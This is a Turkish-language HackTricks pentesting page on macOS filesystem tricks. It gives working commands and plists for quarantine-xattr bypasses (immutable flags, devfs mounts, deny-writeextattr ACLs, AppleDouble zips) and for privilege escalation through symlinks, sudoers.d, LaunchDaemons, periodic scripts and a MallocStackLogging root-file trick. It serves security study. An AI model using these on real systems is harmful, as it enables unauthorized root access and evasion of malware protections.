hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

13 KiB
Raw Blame History

macOS FS Hileleri

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

POSIX izin kombinasyonları

Bir dizin içindeki izinler:

  • okuma - dizin girdilerini listeleyebilirsiniz
  • yazma - dizinde dosyaları silebilir/yazabilirsiniz ve boş klasörleri silebilirsiniz.
  • Ancak doluluk klasörlerini silemez/değiştiremezsiniz yazma izniniz olmadıkça.
  • Bir klasörün adını değiştiremezsiniz sahip olmadıkça.
  • çalıştırma - dizini gezebilirsiniz - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.

Tehlikeli Kombinasyonlar

Root'a ait bir dosya/dizini nasıl üzerine yazabilirsiniz, ancak:

  • Yol üzerinde bir ebeveyn dizin sahibi kullanıcıdır
  • Yol üzerinde bir ebeveyn dizin sahibi kullanıcı grubudur ve yazma erişimi vardır
  • Bir kullanıcı grubu dosyaya yazma erişimine sahiptir

Önceki kombinasyonlardan herhangi biriyle, bir saldırgan ayrıcalıklı keyfi yazma elde etmek için beklenen yola bir sembolik/sabit bağlantı enjekte edebilir.

Dizin kökü R+X Özel durum

Eğer bir dizinde yalnızca root'un R+X erişimi varsa dosyalar başka kimseye erişilemez. Bu nedenle, bir kullanıcı tarafından okunabilen ancak bu kısıtlama nedeniyle okunamayan bir dosyanın bu dizinden başka bir dizine taşınmasına izin veren bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.

Örnek: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Sembolik Bağlantı / Sabit Bağlantı

Eğer ayrıcalıklı bir işlem, düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilen bir dosyaya veri yazıyorsa veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından oluşturulmuşsa. Kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya yönlendirebilir ve ayrıcalıklı işlem o dosyaya yazacaktır.

Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı kötüye kullanabileceği diğer bölümlere bakın.

.fileloc

.fileloc uzantılı dosyalar diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında uygulama/ikili dosya yürütülecektir.
Örnek:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

Keyfi FD

Eğer bir işlemi yüksek ayrıcalıklarla bir dosyayı veya klasörü açmaya zorlayabilirseniz, crontab'ı kötüye kullanarak /etc/sudoers.d içindeki bir dosyayı EDITOR=exploit.py ile açabilirsiniz, böylece exploit.py /etc/sudoers içindeki dosyaya FD alacak ve kötüye kullanacaktır.

Örneğin: https://youtu.be/f1HA5QhLQ7Y?t=21098

Karantina xattrs hilelerinden kaçınma

Kaldırma

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable bayrağı

Bir dosya/dizin bu değişmez özelliğe sahipse üzerine xattr eklemek mümkün olmayacaktır.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

Bir devfs bağlantısı xattr'ı desteklemez, daha fazla bilgi için CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

Bu ACL, dosyaya xattrs eklenmesini engeller.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble dosya formatı, dosyayı ACE'leriyle birlikte kopyalar.

Kaynak kodunda görülebileceği gibi, com.apple.acl.text adlı xattr içinde depolanan ACL metin temsili, sıkıştırılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile AppleDouble dosya formatına sahip bir zip dosyasına sıkıştırırsanız... karantina xattr uygulamaya ayarlanmaz:

Daha fazla bilgi için orijinal rapora bakın.

Bunu çoğaltmak için önce doğru acl dizesini almalıyız:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Not: Bu çalışsa bile, kum havuzu xattr'yi karantinaya yazmadan önce)

Gerçekten gerekli değil ama her ihtimale karşı orada bırakıyorum:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

Kod İmzalarını Atlatma

Bundles, _CodeSignature/CodeResources dosyasını içerir ve bu dosya bündle içindeki her dosyanın karma değerini içerir. CodeResources'un karma değeri ayrıca yürütülebilir dosyaya gömülüdür, bu nedenle onunla oynayamayız.

Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Kaynak dosyanın imzasını terminal üzerinden hesaplamak mümkündür:

{% code overflow="wrap" %}

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Dmg Dosyalarını Bağlama

Bir kullanıcı, hatta bazı mevcut klasörlerin üstüne bile özel içeriklerle oluşturulmuş bir dmg dosyasını bağlayabilir. İşte özel içeriklerle özel bir dmg paketi oluşturabileceğiniz bir örnek:

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

{% endcode %}

Rastgele Yazma İşlemleri

Periyodik sh betikleri

Eğer betiğiniz bir kabuk betiği olarak yorumlanabilirse, her gün tetiklenecek olan /etc/periodic/daily/999.local kabuk betiğini üzerine yazabilirsiniz.

Bu betiği şu şekilde sahte bir şekilde çalıştırabilirsiniz: sudo periodic daily

Daemonlar

Rastgele bir LaunchDaemon yazın ve içinde şu şekilde rastgele bir betik çalıştıran bir plist dosyası oluşturun: /Library/LaunchDaemons/xyz.hacktricks.privesc.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Sudoers Dosyası

Eğer keyfi yazma yetkiniz varsa, kendinize sudo ayrıcalıkları veren bir dosya oluşturabilirsiniz. Bu dosya /etc/sudoers.d/ klasörü içinde yer almalıdır.

PATH Dosyaları

/etc/paths dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Bu dosyayı üzerine yazmak için root olmanız gerekmektedir, ancak bir yetkili işlem tarafından tam yol olmadan komut çalıştırılıyorsa, bu dosyayı değiştirerek bunu ele geçirebilirsiniz.

PATH ortam değişkenine yeni klasörler yüklemek için /etc/paths.d içinde dosyalar yazabilirsiniz.

Diğer kullanıcılar tarafından yazılabilir dosyalar oluşturma

Bu, benim tarafımdan yazılabilir olan root'a ait bir dosya oluşturacaktır (buradan kod). Bu ayrıca bir ayrıcalık yükseltme olarak çalışabilir.

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: